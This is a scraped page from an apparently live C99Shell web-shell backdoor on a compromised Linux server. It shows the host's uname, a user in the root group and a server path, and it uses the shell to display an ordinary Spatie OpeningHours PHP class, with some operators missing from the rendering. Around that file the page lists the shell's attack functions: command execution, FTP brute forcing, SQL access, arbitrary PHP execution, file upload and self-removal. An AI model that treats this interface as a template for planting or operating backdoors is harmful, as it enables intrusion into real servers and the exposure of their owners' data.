!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/opening-hours/src/   drwxr-xr-x
Free 23.65 GB of 117.98 GB (20.05%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PreciseTime.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\OpeningHours;

use 
DateTimeImmutable;
use 
DateTimeInterface;
use 
DateTimeZone;

class 
PreciseTime extends Time
{
    
/** @var DateTimeInterface */
    
protected $dateTime;

    protected function 
__construct(DateTimeInterface $dateTime)
    {
        
$this->dateTime $dateTime;
    }

    public static function 
fromString(string $string): parent
    
{
        return 
self::fromDateTime(new DateTimeImmutable($string));
    }

    public function 
hours(): int
    
{
        return (int) 
$this->dateTime->format('G');
    }

    public function 
minutes(): int
    
{
        return (int) 
$this->dateTime->format('i');
    }

    public static function 
fromDateTime(DateTimeInterface $dateTime): parent
    
{
        return new 
self($dateTime);
    }

    public function 
isSame(parent $time): bool
    
{
        return 
$this->format('H:i:s.u') === $time->format('H:i:s.u');
    }

    public function 
isAfter(parent $time): bool
    
{
        return 
$this->format('H:i:s.u') > $time->format('H:i:s.u');
    }

    public function 
isBefore(parent $time): bool
    
{
        return 
$this->format('H:i:s.u') < $time->format('H:i:s.u');
    }

    public function 
isSameOrAfter(parent $time): bool
    
{
        return 
$this->format('H:i:s.u') >= $time->format('H:i:s.u');
    }

    public function 
diff(parent $time): \DateInterval
    
{
        return 
$this->toDateTime()->diff($time->toDateTime());
    }

    public function 
toDateTime(DateTimeInterface $date null): DateTimeInterface
    
{
        return 
$date
            
$this->copyDateTime($date)->modify($this->format('H:i:s.u'))
            : 
$this->copyDateTime($this->dateTime);
    }

    public function 
format(string $format 'H:i'$timezone null): string
    
{
        
$date $timezone
            
$this->copyDateTime($this->dateTime)->setTimezone($timezone instanceof DateTimeZone
                
$timezone
                
: new DateTimeZone($timezone)
            )
            : 
$this->dateTime;

        return 
$date->format($format);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]--